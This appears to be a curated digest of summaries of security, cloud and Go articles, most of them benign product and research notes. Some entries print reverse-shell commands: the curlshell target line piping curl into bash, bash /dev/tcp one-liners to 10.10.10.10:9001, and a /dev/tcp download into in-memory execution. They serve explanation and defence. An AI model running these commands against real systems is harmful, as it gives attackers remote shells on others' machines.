  • goread: Read Your RSS/Atom Feeds Right in the Terminal
    summary

    TL;DR: goread is a GPL-3.0 terminal RSS/Atom feed reader written in Go with a Bubble Tea TUI.

    • Features: Feed categories, downloading articles for later, offline mode, customizable color schemes, OPML import/export.
    • Install: go install github.com/TypicalAM/goread@latest, brew install goread, or AUR goread / goread-bin.
    • Config: Feeds live in ~/.config/goread/urls.yml with categories, per-feed whitelist_words and blacklist_words; edit with goread edit urls or in the TUI.
    • Theming: ~/.config/goread/colorscheme.json, generated by --dump_colors, and can be built from a pywal scheme.
    • Status: About 490 stars; last push October 2025.

    Takeaway: A simple way to follow security and release feeds from the terminal, with keyword filters to cut noise.

  • BadZure: Set Up Vulnerable Azure AD Tenants with Multiple Attack Paths
    summary

    TL;DR: BadZure, by Mauricio Velazco, deploys intentionally misconfigured Microsoft Entra ID (Azure AD) tenants and Azure subscriptions with traversable attack paths, for red, blue and purple team practice.

    • Engine now: The current README describes Terraform-based deployment that populates users, groups, applications and Azure resources, then layers misconfigurations on top; this differs from the 2023 version linked originally.
    • Attack paths: Every path starts from a provided compromised foothold and ends at a high-privilege target, so you begin post-compromise.
    • Techniques: Seven atomic templates: ApplicationOwnershipAbuse, ApplicationAdministratorAbuse, CloudAppAdministratorAbuse (identity plane); ManagedIdentityAbuse, KeyVaultSecretTheft, StorageCertificateTheft, CosmosDBSecretTheft (resource plane), plus chained custom paths.
    • Audience: Red teamers, detection engineers generating telemetry, purple teams, researchers, trainers and CTF authors.
    • Recognition: Presented at Black Hat USA Arsenal 2024 and 2026; documentation at badzure.com; Apache 2.0.

    Takeaway: Use a dedicated, disposable tenant to rehearse Entra ID privilege escalation and build detections. Never point it at a production tenant.

  • curlshell: Reverse Shell Using curl
    summary

    TL;DR: curlshell is a small Python HTTPS server that gives you an interactive reverse shell over curl, for environments where outbound traffic only goes through an HTTP CONNECT proxy.

    • Problem: Raw outbound TCP is blocked and only HTTPS_PROXY egress works, so classic reverse shells fail.
    • Mechanism: The server multiplexes the remote shell’s stdin, stdout and stderr over HTTP with curl as the transport.
    • Listener: ./curlshell.py --certificate fullchain.pem --private-key privkey.pem --listen-port 1234.
    • Target side: curl https://curlshell:1234 | bash.
    • Status: About 480 stars, last push April 2024, no license file.

    Takeaway: A reminder that proxy-only egress does not stop interactive shells. Defenders should inspect and restrict what proxied curl traffic can reach.

  • Abusing Amazon VPC CNI Plugin for Kubernetes
    summary

    TL;DR: elttam research (2023) shows how an attacker with a foothold on an Amazon EKS node can abuse the Amazon VPC CNI plugin’s IAM permissions to rewire networking of unrelated EC2 instances, even in other VPCs.

    • Root cause: Node groups get the AWS managed AmazonEKS_CNI_Policy, which grants ec2:CreateNetworkInterface, AttachNetworkInterface, DetachNetworkInterface, ModifyNetworkInterfaceAttribute, DescribeInstances and more on Resource: *.
    • Foothold: After a container escape, the attacker uses the node role (MITRE T1552.005) and can inspect containers with nerdctl -n k8s.io ps.
    • Attack: Enumerate all instances with aws ec2 describe-instances, find an internet-reachable ENI with an Elastic IP in the target’s VPC (unattached or secondary), detach it and attach it to the target instance to expose it, demonstrated with SSH.
    • Lab detail: Built with eksctl create cluster --version 1.27; eksctl get addons showed no add-ons although aws-node was running.
    • Hardening: Block pod access to IMDS, give workloads dedicated IAM roles (IRSA), scope IAM policies and tighten security groups; container escape to root still allows the attack.

    Takeaway: Treat the EKS node role as a powerful network-admin credential. Move the CNI to IRSA with tighter scope and block IMDS from pods.

  • Cloudflare Pages with Zero Trust Authentication: Terraform
    summary

    TL;DR: A small Terraform module by Marco Lancini that creates a Cloudflare Pages application protected by Cloudflare Zero Trust (Access) authentication, so only listed email addresses can reach it.

    • Inputs: cloudflare_account_id, cloudflare_zone_id, name of the Pages app, hostname and domain for the custom domain.
    • Auth: zero_trust = true plus allowed_emails = ["admin@example.com"] restricts access to those identities.
    • Usage: Referenced as a local module (source = "<path>/cloudflare-pages") from Lancini’s utils repository.
    • Scope: A README with one usage example; no further documentation.

    Takeaway: A quick way to host private static sites or internal docs behind identity-aware access without running servers. Copy and pin it rather than referencing the repo directly.

  • Optimize AWS Config for AWS Security Hub to Effectively Manage Your Cloud Security Posture
    summary

    TL;DR: An AWS Security Blog post (2023) explaining how to configure the AWS Config recorder to record only the resource types AWS Security Hub controls need, reducing Config cost and data volume.

    • Dependency: Change-triggered Security Hub checks rely on the AWS Config configuration recorder; periodic checks do not.
    • Numbers: AWS Config records more than 300 resource types by default; Security Hub controls covered about 60 of them.
    • Template: AWS provides a CloudFormation template on GitHub that records only the needed types; deploy it across accounts and Regions with StackSets.
    • Maintenance: New Security Hub controls may need extra resource types; subscribe to the Security Hub SNS announcements and check the template is current.
    • Side effect: Control Config.1 (AWS Config should be enabled) fails if not all resources are recorded; disable it or suppress with Security Hub automation rules.
    • Cost model: AWS Config charges per recorded configuration item, separately from Security Hub.

    Takeaway: If you run Config only for Security Hub, trimming the recorder is a straightforward cost saving. Handle the Config.1 finding deliberately.

  • Go 1.22 Inlining Overhaul
    summary

    (Could not fetch full text.)

    TL;DR: The Google Doc design proposal for overhauling the Go compiler’s inliner, targeted at Go 1.22 and tracked in Go issue #61502 (“cmd/compile: overhaul inliner”).

    • Tracking issue: #61502 was opened by Austin Clements on 21 July 2023 with the goal of a much more effective inliner in Go 1.22.
    • People: The work was driven by Than McIntosh (@thanm) and Matthew Dempsky (@mdempsky), with community input requested.
    • Motivation: Press coverage (Golang Weekly) described Go’s rules for when and what to inline as somewhat out of date.
    • Early code: McIntosh’s CLs added inliner “function properties” machinery to feed new inlining heuristics.
    • Source caveat: The Google Doc only rendered its UI shell without a browser; summary based on the title, the linked issue and search results.

    Takeaway: Follow issue #61502 and the Go release notes for what actually shipped. Do not rely on the proposal for current inliner behavior.

  • Go: A Gentle Introduction to Pointers
    summary

    TL;DR: A short Go tutorial by Alex Edwards (July 2023) explaining pointers: addresses, pointer types and dereferencing.

    • Address-of: &answer returns a pointer; printing it shows a memory address like 0xc00001c030.
    • Pointer types: A *int can only hold the address of an int, a *string the address of a string.
    • Declaration: Shows longhand var answerPtr *int = &answer and shorthand answerPtr := &answer.
    • Dereference read: *answerPtr reads the underlying value (prints 42).
    • Dereference write: *answerPtr = 99 changes the original variable through the pointer.

    Takeaway: A clear refresher for newcomers to Go; pair it with material on when to pass pointers versus values.

  • mailpit: Email and SMTP Testing Tool with API for Developers
    summary

    TL;DR: Mailpit is an MIT-licensed Go email and SMTP testing tool with a web UI and REST API, inspired by the no-longer-maintained MailHog.

    • Packaging: A single static binary or multi-architecture Docker images, zero dependencies.
    • Capture and view: SMTP server (optional STARTTLS/TLS and auth, including “accept any”), web UI with search, HTML/source/headers/raw/attachments views, real-time updates over websockets.
    • Testing aids: HTML compatibility check, link check, SpamAssassin spam check, HTML screenshots, mobile preview, chaos mode for SMTP errors, List-Unsubscribe validation.
    • Integration: REST API for integration tests, optional POP3 server, webhooks, SMTP relay and forwarding with recipient allowlists.
    • Throughput: Ingests 200-300 emails per second over SMTP depending on hardware; keeps the most recent 500 emails by default.
    • Status: About 10,800 stars and active in 2026.

    Takeaway: A drop-in MailHog replacement for dev and CI. Swap it in to get maintained code and API-driven email assertions.

  • gitid: Management of Multiple Git SSH Keys Made Easy
    summary

    TL;DR: GitID is an MIT-licensed TypeScript CLI by Inderdeep Bajwa for creating, listing and switching between multiple Git SSH identities on one machine, for example personal, work and client accounts.

    • Install: npm install -g gitid.
    • Create: gitid new personal --name "Jane Doe" --email jane@example.com generates an ed25519 key and adds a matching Host alias to ~/.ssh/config.
    • Switch: gitid use personal rewrites the current repo’s remote to the chosen SSH host alias; gitid current shows which identity a repo uses.
    • Inspect: gitid list lists managed aliases and prompts repair of broken entries; gitid show personal prints the public key to add to GitHub.
    • Author info: gitid set stores per-identity user.name and user.email applied as repo-local git config.
    • Caution: The README warns that it edits SSH config and advises backing up ~/.ssh first.

    Takeaway: Handy if you juggle several Git accounts. Back up ~/.ssh/config and review the generated Host blocks before trusting it.

  • Web Application Black-Box Testing
    summary

    TL;DR: A YesWeHack blog post by Brumens (June 2023) on black-box testing of web applications: how to design payloads that trigger unexpected behaviour and how to work out where that behaviour comes from.

    • Goals: Learn what a function does, what inputs and data types it accepts, which technologies sit behind it, and the security concerns, without source code.
    • Techniques: State transition testing, fuzzing (generation-based and mutation-based), error guessing and regression testing.
    • Non-exploiting probes: Prove XSS with "><h1>hello</h1> instead of a script payload to avoid WAF or CSP blocks.
    • Polyglot fuzz payload: <z>"z'z%}})z${{z` aims to trigger quote breakouts, template engine errors, XSS, format injection and validation messages in one request.
    • Structural variation: Test both 'z\ and \z'; one can break out of quotes while the other causes escape-sequence errors, so a single payload can miss the bug.
    • Locating reflection: Compare responses with client-side JavaScript disabled to tell DOM-based reflection from server-side reflection.
    • Source caveat: The original URL now redirects to the YesWeHack blog index; summary based on a Wayback Machine copy.

    Takeaway: A useful mental model for manual testing. Keep a small set of polyglot and structural-variant probes for first-pass input testing.

  • Cloud Architecture Security Cheat Sheet
    summary

    TL;DR: The OWASP Secure Cloud Architecture Cheat Sheet covers common security patterns for designing and reviewing cloud architectures, written for medium to large enterprises.

    • Start with risk: Do risk analysis, threat modeling and attack surface assessment to decide likely threats, their likelihood and business impact.
    • Public vs private: Secure object storage with IAM, signed URLs for temporary access, and care with public buckets.
    • Network: VPCs with public and private subnets and a simple reference architecture.
    • Trust boundaries: Three worked models: no trust (every component re-authenticates and compute uses ephemeral identities for storage), high trust, and some trust.
    • Tooling: Web application firewall, logging and monitoring, and DDoS protection.
    • Shared responsibility: Differences across IaaS, PaaS and SaaS, update strategy for self-managed services, and avoiding gaps in managed service security.

    Takeaway: Use it as a review checklist for cloud designs, especially the trust-boundary examples when deciding where to require authentication.

  • No Keys Attached: Exploring GitHub-to-AWS Keyless Authentication Flaws
    summary

    TL;DR: Datadog Security Labs research by Christophe Tafani-Dereeper (2023) showing that many AWS IAM roles trusting GitHub Actions OIDC lacked a sub condition, so any GitHub repository could assume them; a UK Government Digital Service role was one case.

    • Secure setup: OIDC provider https://token.actions.githubusercontent.com with audience sts.amazonaws.com, plus trust policy conditions on token.actions.githubusercontent.com:sub (e.g. repo:octo-org/octo-repo:*) and :aud.
    • Flaw: Without the sub condition, a GitHub Action in any repository can assume the role and get AWS credentials; insecure third-party guides spread the pattern.
    • Hunting: Found candidate role ARNs with a Sourcegraph regex search over .github/workflows files, then tested assumption from their own workflows.
    • Results: Several vulnerable, often highly privileged CI/CD roles were assumed and reported to maintainers, including one in a UK government account.
    • Guardrails: GitHub Enterprise custom issuer URLs (token.actions.githubusercontent.com/<org>); Datadog added a CSPM rule on 17 May 2023 and a CloudTrail query for AssumeRoleWithWebIdentity from unexpected repos.
    • Update: A June 2025 note says AWS now blocks creating new roles with this vulnerable trust policy, but existing roles remain affected.

    Takeaway: Audit every IAM role trusting GitHub OIDC for a strict sub condition. AWS’s 2025 block does not fix roles created earlier.

  • AWS Networking Concepts: Mindmap
    summary

    TL;DR: A short blog post by miparnisari (March 2023) sharing a Lucidchart mind map that links AWS networking resources together, made after reading Toni Pasanen’s book AWS Networking Fundamentals.

    • Motivation: The AWS VPC console has many resource types because there are many connection types: account to on-premises, account to account, VPC to VPC, subnet to subnet, VPC to internet and VPC to AWS services.
    • Artifact: A single mind map image with a Lucidchart link that can be exported to other formats.
    • Source book: AWS Networking Fundamentals by Toni Pasanen.
    • Community feedback: Comments point out that ENIs deserve a place, since security groups are attached to ENIs, plus corrections for certification study.
    • Reach: The post was picked up on Hacker News and translated summaries in July 2023.

    Takeaway: A quick visual orientation for AWS networking. Check the comments for corrections before using it for exam prep.

  • Configure Keycloak on Amazon Elastic Kubernetes Service (Amazon EKS) Using Terraform
    summary

    TL;DR: An AWS Open Source Blog walkthrough (July 2023) deploying Keycloak, the open-source identity and access management server, on Amazon EKS with Terraform and Helm.

    • Infrastructure: VPC with public and private subnets, NAT and internet gateways, Aurora MySQL-Compatible database, EKS with managed node group, metrics server and cluster autoscaler.
    • Ingress and TLS: AWS Load Balancer Controller, NGINX Ingress Controller behind an ALB, ACM certificates and Route 53 records in an existing hosted zone.
    • App: Keycloak.X deployed to EKS via Helm charts.
    • Steps: git clone https://github.com/aws-samples/configure-keycloak-on-eks-using-terraform.git, set db_username, db_password, route53_zone_id and domain values in terraform/terraform.tfvars, then apply.
    • Cleanup: make destroy removes 91 resources.
    • Prerequisites: Git, AWS CLI, kubectl, Terraform and local AWS credentials.

    Takeaway: A full reference stack for self-hosting Keycloak on EKS. Move the database password out of tfvars into a secrets store before using it beyond a demo.

  • Secure Connectivity from Public to Private: Introducing EC2 Instance Connect Endpoint
    summary

    TL;DR: An AWS Compute Blog post (14 June 2023) launching EC2 Instance Connect (EIC) Endpoint, an identity-aware TCP proxy for SSH or RDP to private instances without public IPs, internet gateways, bastion hosts or agents.

    • How it works: The AWS CLI opens a WebSocket tunnel to the endpoint using IAM credentials; you then point your normal client at 127.0.0.1, or use the console.
    • Command: aws ec2-instance-connect open-tunnel --instance-id ..., usable as an SSH ProxyCommand.
    • No IGW or NAT: The VPC does not need direct internet connectivity, and no agent is needed on the target, so it also works for third-party appliances.
    • Controls: IAM policies plus security groups govern who can connect to which instance and port; authentication happens before traffic enters the VPC.
    • Logging: CloudTrail records the IAM principal, source IP, destination IP and port; optional client IP preservation.
    • Comparison: Combines with EC2 Instance Connect ephemeral SSH keys, which previously needed a public IP; Systems Manager Session Manager remains the agent-based alternative.

    Takeaway: A strong option to retire bastion hosts. Scope the IAM permissions and endpoint security groups tightly, since this opens a path from public space into private subnets.

  • Securing Kubecost Access with Amazon Cognito
    summary

    TL;DR: An AWS Containers Blog post (2023) showing how to expose the Kubecost cost dashboard on EKS to people outside the cluster, such as finance teams, while authenticating them with Amazon Cognito.

    • Problem: Kubecost’s dashboard is protected by NGINX basic auth by default, which AWS says is not recommended for production.
    • Context: Kubecost is built on OpenCost (CNCF Sandbox); AWS offers a free EKS-optimized Kubecost bundle with troubleshooting support.
    • Architecture: Kubernetes Ingress through an Application Load Balancer integrated with Cognito, TLS certificate from ACM, DNS in Route 53.
    • Tooling: Uses the ingress-auth-cognito EKS Blueprints pattern and the Kubecost add-on for EKS CDK Blueprints.
    • Sign-up control: A Cognito pre-sign-up Lambda only allows emails from allow-listed domains, stored in an SSM parameter, with email verification codes.

    Takeaway: The ALB plus Cognito pattern works for any internal dashboard on EKS. Restrict sign-up domains, or disable self sign-up entirely, before exposing it.

  • Continue: A VS Code Extension That Brings the Power of ChatGPT to Your IDE
    summary

    TL;DR: Continue was an open-source AI coding assistant for VS Code (and later other IDEs) that brought ChatGPT-style models into the editor. Its site now says Continue has been acquired by Cursor.

    • Current page: continue.dev shows a farewell notice: “Continue has joined Cursor”, calling it “a pioneering open-source coding agent”.
    • Code remains: The notice says the open-source codebase stays freely available; the continuedev/continue GitHub repo (Apache-2.0, about 36,000 stars) was not archived as of October 2026.
    • FAQ topics: The page covers what happened to open source availability, user data and subscriptions.
    • Original pitch (from title): A VS Code extension bringing ChatGPT-class models into the IDE.
    • Source caveat: The 2023 product page is gone; summary based on the current acquisition notice, the title and GitHub metadata.

    Takeaway: Do not adopt Continue as a maintained product without checking the repo’s activity after the acquisition. Existing self-hosted setups keep working from the open-source code.

  • cdk-aws-observability-accelerator: CDK AWS Observability Accelerator
    summary

    TL;DR: AWS Observability Accelerator for CDK is an MIT-0 set of opinionated TypeScript CDK modules from AWS for setting up observability on EKS with AWS native and AWS-managed open-source services.

    • Services: Amazon Managed Service for Prometheus, Amazon Managed Grafana, AWS Distro for OpenTelemetry (ADOT) and Amazon CloudWatch.
    • Patterns: ADOT collector monitoring, CloudWatch and Grafana dashboards, AMP alerting and recording rules, cost monitoring, Container Insights metrics.
    • Workloads: GPU and Inferentia, Istio, NGINX and Java/JMX monitoring.
    • Logs and traces: FluentBit and ADOT for logs; ADOT X-Ray exporter or X-Ray daemon for traces.
    • Layouts: Single EKS cluster “AWS native” and “open source” reference architectures; patterns live in lib/.
    • Requirements: AWS CLI, Node.js and npm, with make and brew, or a provided DevContainer.

    Takeaway: A quick start if you are already on CDK and EKS and want AMP/AMG/ADOT wired together. Terraform users should look at the sibling Terraform accelerator.

  • New: AWS Public IPv4 Address Charge + Public IP Insights
    summary

    TL;DR: Jeff Barr’s AWS News Blog post (28 July 2023) announcing that from 1 February 2024 AWS charges $0.005 per hour for every public IPv4 address, attached or not, plus a free Public IP Insights feature to find them.

    • Price: $0.005 per IP per hour for in-use public IPv4 addresses, including Amazon-provided and Elastic IPs, Global Accelerator and Site-to-Site VPN tunnels; previously in-use addresses were free.
    • Reason: IPv4 scarcity; AWS says the cost of acquiring one address rose more than 300% over the previous five years.
    • Scope: All services that can hold public IPv4 (EC2, RDS, EKS nodes and others) in all Regions, including China and GovCloud.
    • Exceptions: EC2 Free Tier includes 750 hours of public IPv4 per month for the first 12 months; BYOIP addresses are not charged.
    • Visibility: Cost and Usage Reports include public IPv4 usage; Public IP Insights in VPC IP Address Manager is free.
    • Alternatives suggested: IPv6 adoption, load balancers and NAT gateways instead of per-instance public IPs, and EC2 Instance Connect Endpoint for admin access.

    Takeaway: At $0.005 per hour, each public IP costs about $3.60 a month. Run Public IP Insights and remove unneeded public addresses.

06.07.2023

  • awesome-sec-challenges: Curated List of Awesome Security Challenges
    summary

    TL;DR: A CC0 curated list by Mike Privette (Return On Security) of online security challenges for upskilling in ethical hacking, pentesting and cryptography.

    • CTF sections: AI/ML CTFs, cloud-focused CTFs, CTF platforms, vulnerable platforms and introductory education.
    • Cloud examples: CloudFoxable, CloudGoat, Doyensec CloudSec Tidbits, Azure CONVEX.
    • Other sections: Cryptography challenges and Web3.
    • Size: A few dozen entries; about 210 stars, last updated November 2024.

    Takeaway: A compact starting point to find practice environments, especially the cloud-focused CTFs.

  • Introducing CloudFoxable: A Gamified Cloud Hacking Sandbox
    summary

    TL;DR: Seth Art of Bishop Fox introduces CloudFoxable (2023), an intentionally vulnerable AWS environment deployed with Terraform into your own account, built to teach AWS pentesting and show off the CloudFox tool.

    • Inspiration: CloudGoat, flaws.cloud and Metasploitable; CTF format with hints and a public scoreboard.
    • Design: Many distinct vulnerable resources and flags, rewarding new entry points, lateral movement paths and data access.
    • Starter challenges: “It’s a Secret” (read a Secrets Manager flag as ctf-starting-user), “It’s Another Secret” (assume a role first), “Backwards” (find who can access a resource).
    • Advanced challenges: Recreations of attack paths Bishop Fox exploited on real cloud pentests, from single-permission privilege escalation to multi-step chains.
    • Observation: Easy-to-exploit paths are more common in real tests than complex ones.

    Takeaway: A good hands-on lab for AWS attack paths. Deploy it only into an isolated playground account and destroy it afterwards.

  • redteam-research: PoC and Offensive Techniques Used by the BlackArrow Red Team
    summary

    TL;DR: A collection of proof-of-concept code and offensive techniques from the BlackArrow red team (Tarlogic), mostly Windows and Active Directory focused.

    • Contents: Folders for CVE-2018-1685, CVE-2020-1472 (Zerologon), CVE-2026-33829, EDR/AV bypass, Hanshell, LPE via StorSvc and MSSQL linked servers via ADSI.
    • Language: Mostly C.
    • License: The README states MIT for all code, although GitHub detects no license file.
    • Status: About 1,200 stars; still updated in 2026 with new entries.
    • Docs: The top-level README is minimal; each folder documents its own technique.

    Takeaway: Useful reference PoCs for red teams and detection engineers. Review the code before running it, and use it only in authorized environments.

  • Breaking Down Reverse Shell Commands
    summary

    TL;DR: Aditya Telange (May 2023) breaks down how common bash reverse shell one-liners from revshells.com work, focusing on file descriptors and redirection.

    • Basics: FDs 0, 1 and 2 are STDIN, STDOUT and STDERR; custom FDs can be opened too.
    • Bash -i: sh -i >& /dev/tcp/10.10.10.10/9001 0>&1, where /dev/tcp/host/port makes bash open a TCP socket and 0>&1 merges input with output.
    • Bash 196: 0<&196; exec 196<>/dev/tcp/...; sh <&196 >&196 2>&196 opens a read-write FD 196 and binds all three streams to it.
    • Read line: exec 5<>/dev/tcp/...; cat <&5 | while read line; do $line 2>&5 >&5; done executes each received line.
    • Bash 5: sh -i 5<> /dev/tcp/... 0<&5 1>&5 2>&5; the post also lists a UDP variant.

    Takeaway: Understanding these redirections helps both attackers adapt payloads and defenders write detections for /dev/tcp use.

  • Kubernetes Grey Zone: Risks in Managed Cluster Middleware
    summary

    TL;DR: Wiz research by Shay Berkovich (June 2023) on “managed cluster middleware” (CSP add-ons in AKS, EKS and GKE), its security posture, two privilege escalation scenarios presented at KubeCon EU 2023, and which mitigations work.

    • Definition: Components that talk to kube-apiserver but are neither core control plane nor workloads, e.g. GKE container-watcher, AKS osm-controller, EKS aws-node.
    • Footprint (default v1.25): GKE 5 deployments and 4 DaemonSets, AKS 6 and 7, EKS 1 and 2; Wiz says about 83% of its Kubernetes customers use AKS, EKS or GKE.
    • Posture: Of 25 components, 32% share host namespaces, 32% are privileged or have added capabilities, and 32% mount sensitive host volumes; RBAC was not over-privileged.
    • Attack 1: Write access to Node Problem Detector custom plugin directories gives periodic root code execution on the node.
    • Attack 2: Updating a Fluent Bit ConfigMap with an EXEC plugin gives persistent, cluster-wide execution with little audit trail.
    • Mitigations: PSA does not work because kube-system is exempt; non-root containers, moving add-ons out of kube-system where configurable, and CSP image minification do help.

    Takeaway: Managed add-ons are a shared-responsibility gap. Restrict who can edit kube-system ConfigMaps and watch for changes to them.

  • My AWS Pentest Methodology
    summary

    TL;DR: Lizzie Moratti (June 2023), a pentester and former Rhino Security Labs project manager, describes how she approaches assumed-breach AWS penetration tests, as distinct from configuration reviews.

    • Scoping: Ask per account for a ReadOnly key and console login, keys with typical developer or application (EC2/Lambda execution role) permissions, and an architecture diagram; follow AWS pentest rules.
    • Mapping: Whoami, then enumerate with Pacu, CloudFox or enumerate-iam; review user, group and role managed and inline policies; check for Organizations and SCPs.
    • Scanning: Run both ScoutSuite and Prowler with the ReadOnly profile, since their checks differ; budget at least a day to triage false positives.
    • Single service review: Research each service with hackingthe.cloud, cloudvulndb.org and breaches.cloud, e.g. Lambda roles with iam:PutUserPolicy.
    • Framing: “Cloud configuration reviews” are often sold as pentests; they are valuable but not equivalent.
    • Source caveat: Medium blocked direct fetching; summary based on a Wayback Machine copy of the first sections.

    Takeaway: A practical structure for AWS assessments. Ask for both ReadOnly and realistic foothold credentials up front.

  • Executing Arbitrary Code & Executables in Read-Only FileSystems
    summary

    TL;DR: WithSecure Labs research by Golan Myers (June 2023) showing three ways to run arbitrary code in Kubernetes pods with readOnlyRootFilesystem: true and noexec writable mounts.

    • Method 1 (bash present): Define a bash function that downloads over /dev/tcp, then pipe a binary straight into DDexec.sh, which hijacks an existing process in memory so nothing touches disk.
    • Method 2 (no bash, e.g. Alpine): Use busybox wget and the writable but noexec /dev/shm tmpfs, running the payload through sh from an executable mount.
    • Method 3: Execute a binary without execute permission by invoking the dynamic loader directly, e.g. /lib/ld-musl-x86_64.so.1.
    • Assumptions: Low-privileged foothold, no curl or wget; demonstrated with simple reverse shells against nginx and Alpine pods.
    • Conclusion: Read-only filesystems are recommended but not sufficient; layer restrictions, monitoring and alerting such as Falco and SELinux.
    • Source caveat: The original URL now redirects to the W/Labs index; summary based on a Wayback Machine copy.

    Takeaway: Keep readOnlyRootFilesystem, but add runtime detection for in-memory execution and loader abuse rather than treating it as a boundary.

  • Terraform 1.5 Brings Config-Driven Import and Checks
    summary

    TL;DR: HashiCorp’s announcement (12 June 2023) of Terraform 1.5, which adds config-driven import blocks and check blocks for continuous validation.

    • Old pain: terraform import worked one resource at a time, changed state with no preview, and needed hand-written matching config.
    • Import block: Top-level import { id = "<cloud id>" to = aws_instance.example }, planned and applied like normal changes, so imports can be previewed and bulked.
    • Config generation: terraform plan -generate-config-out=<file> writes matching resource blocks for review.
    • Check block: Top-level validation of infrastructure, with multiple assert blocks (condition and error_message) that can reference any resource, data source or output.
    • Non-blocking: Checks run at the end of plan and apply and only warn on failure, unlike Terraform 1.2 postconditions which halt.
    • Scoped data source: A check can include one nested data source, e.g. an http call asserting a load balancer returns 200, whose errors stay inside the check.

    Takeaway: Use import blocks instead of the CLI for brownfield adoption, and check blocks for health assertions that should not block deploys.

  • Vault Secrets Operator for Kubernetes Now GA
    summary

    TL;DR: HashiCorp (Rich DuBose, 13 June 2023) announces general availability of the Vault Secrets Operator (VSO), a Kubernetes operator that syncs Vault secrets into native Kubernetes Secrets.

    • Model: A controller reconciles VSO custom resources such as VaultConnection, VaultAuth, VaultDynamicSecret and VaultPKISecret into Kubernetes Secrets.
    • Auth methods at GA: Kubernetes, JWT, AppRole and AWS; the March 2023 beta supported only Kubernetes.
    • Dynamic secrets: Example VaultDynamicSecret pulls database credentials from creds/postgres into a Secret.
    • Platforms: Validated on AKS, GKE, EKS and OpenShift.
    • Cleanup: On operator deletion it can revoke cached Vault client tokens and purge cached storage.
    • Install: Helm chart from https://helm.releases.hashicorp.com or Kustomize from the GitHub repo.

    Takeaway: VSO lets apps keep reading plain Kubernetes Secrets while Vault stays the source of truth. Remember the synced values then live in etcd, so encrypt it.

  • Secure Connectivity from Public to Private: Introducing EC2 Instance Connect Endpoint
    summary

    TL;DR: An AWS Compute Blog post (14 June 2023) launching EC2 Instance Connect (EIC) Endpoint, an identity-aware TCP proxy for SSH or RDP to private instances without public IPs, internet gateways, bastion hosts or agents.

    • How it works: The AWS CLI opens a WebSocket tunnel to the endpoint using IAM credentials; you then point your normal client at 127.0.0.1, or use the console.
    • Command: aws ec2-instance-connect open-tunnel --instance-id ..., usable as an SSH ProxyCommand.
    • No IGW or NAT: The VPC does not need direct internet connectivity, and no agent is needed on the target, so it also works for third-party appliances.
    • Controls: IAM policies plus security groups govern who can connect to which instance and port; authentication happens before traffic enters the VPC.
    • Logging: CloudTrail records the IAM principal, source IP, destination IP and port; optional client IP preservation.
    • Comparison: Combines with EC2 Instance Connect ephemeral SSH keys, which previously needed a public IP; Systems Manager Session Manager remains the agent-based alternative.

    Takeaway: A strong option to retire bastion hosts. Scope the IAM permissions and endpoint security groups tightly, since this opens a path from public space into private subnets.

  • AWS IAM Identity Center Now Supports Automated User Provisioning from Google Workspace
    summary

    TL;DR: An AWS What’s New post (13 June 2023): AWS IAM Identity Center now supports automated user provisioning from Google Workspace, alongside SAML sign-in.

    • Feature: Google auto-provisioning creates users in IAM Identity Center automatically instead of manual or scripted sync.
    • Sign-in: Users sign in with Google Workspace identities to the AWS console, AWS CLI and the Identity Center portal.
    • Setup: Use the AWS cloud application in Google’s pre-integrated app catalog to configure both SAML and auto-provisioning.
    • Management: Admins assign access to AWS Organizations accounts and applications centrally in Identity Center.
    • Availability: All Regions supported by IAM Identity Center.

    Takeaway: If you use Google Workspace, this replaces third-party sync tools such as ssosync for users. Check whether groups are covered for your setup before switching.

  • Generally Available: Managed Identity Authentication in Azure Monitor Container Insights
    summary

    TL;DR: An Azure update (13 June 2023) announcing general availability of managed identity authentication for Azure Monitor Container Insights.

    • Change: The monitoring agent uses the cluster’s managed identity to send data to Azure Monitor, replacing legacy certificate-based local authentication.
    • Simplification: Removes the need to grant the cluster the Monitoring Metrics Publisher role.
    • Identity types: Both system-assigned and user-assigned managed identities are supported.
    • Default: Managed identity becomes the default for Container Insights, and customers are encouraged to migrate.
    • Migration: Guidance covers existing AKS clusters and Azure Arc-enabled clusters.
    • Source caveat: The original URL now redirects to an empty Azure Updates listing; summary based on a Wayback Machine copy.

    Takeaway: Migrate AKS and Arc clusters off certificate-based Container Insights auth to remove a long-lived credential.

  • Millions of GitHub Repos Likely Vulnerable to RepoJacking, Researchers Say
    summary

    TL;DR: BleepingComputer (Bill Toulas, 22 June 2023) reports Aqua Security Nautilus research estimating that about 9 million GitHub repositories may be vulnerable to RepoJacking.

    • Numbers: In a sample of 1.25 million repos, about 2.95% were vulnerable; extrapolated to GitHub’s 300 million+ repos, about 9 million.
    • Attack: After an organization or user is renamed, an attacker registers the old name and repo, breaking GitHub’s redirect so dependents fetch attacker code.
    • GitHub defenses: Retired-namespace protection covers only popular projects, e.g. repos with over 100 clones in the week before a rename, and Aqua says it is incomplete and easy to bypass.
    • Google example: A Mathsteps README pointed to a repo of Socratic, acquired in 2018, with an npm install step that could run attacker code.
    • Lyft example: An install.sh script fetched a ZIP from a hijackable “YesGraph/Dominus” repository.
    • Advice: Minimize resources fetched from external repos and keep control of old brand or acquired org names.

    Takeaway: Grep your build scripts and READMEs for raw GitHub URLs and pin or vendor them. Keep old org names registered after renames.

  • AWS CloudTrail Cheat Sheet
    summary

    TL;DR: Invictus Incident Response (June 2023) publishes a cheat sheet of “interesting” AWS CloudTrail event names for incident responders and detection engineers, organized by MITRE ATT&CK phase.

    • Scope: Uses the CloudTrail eventName field to identify events, covering management (control plane) and data (data plane) events.
    • Method: Built from real AWS incident response cases, attacks simulated with Stratus Red Team, and brainstorming for gaps.
    • Format: The sheet itself is an image grouped by ATT&CK tactic, with a GitHub page for suggesting additions.
    • Disclaimer: The authors say it is not a definitive guide to all malicious activity.
    • Source caveat: Medium blocked direct fetching; summary based on a Wayback Machine copy of the post, whose cheat sheet content is in an image not readable as text.

    Takeaway: Use the event list as a seed for CloudTrail triage queries and detections, then extend it from your own environment.

  • Go 1.21 Release Candidate
    summary

    TL;DR: The Go blog announces the Go 1.21 release candidate (go1.21rc2, since rc1 was retagged after a bug), previewing the features of the August 2023 release.

    • PGO GA: Profile-guided optimization is generally available; a default.pgo file in the main package directory enables it, with measured gains of 2-7%.
    • Language: New built-ins min, max and clear; improved generic type inference; a preview of the loop variable capture fix behind an environment variable (LoopvarExperiment).
    • Standard library: New log/slog structured logging, plus slices, maps and cmp packages.
    • Performance: The compiler itself is built with PGO and builds programs 2-4% faster; GC tuning can cut tail latency by up to 40%; runtime/trace is much cheaper on amd64 and arm64.
    • WASI: Experimental GOOS=wasip1 GOARCH=wasm port and the go:wasmimport directive.
    • Toolchain: The go command gains backward and forward language compatibility support.

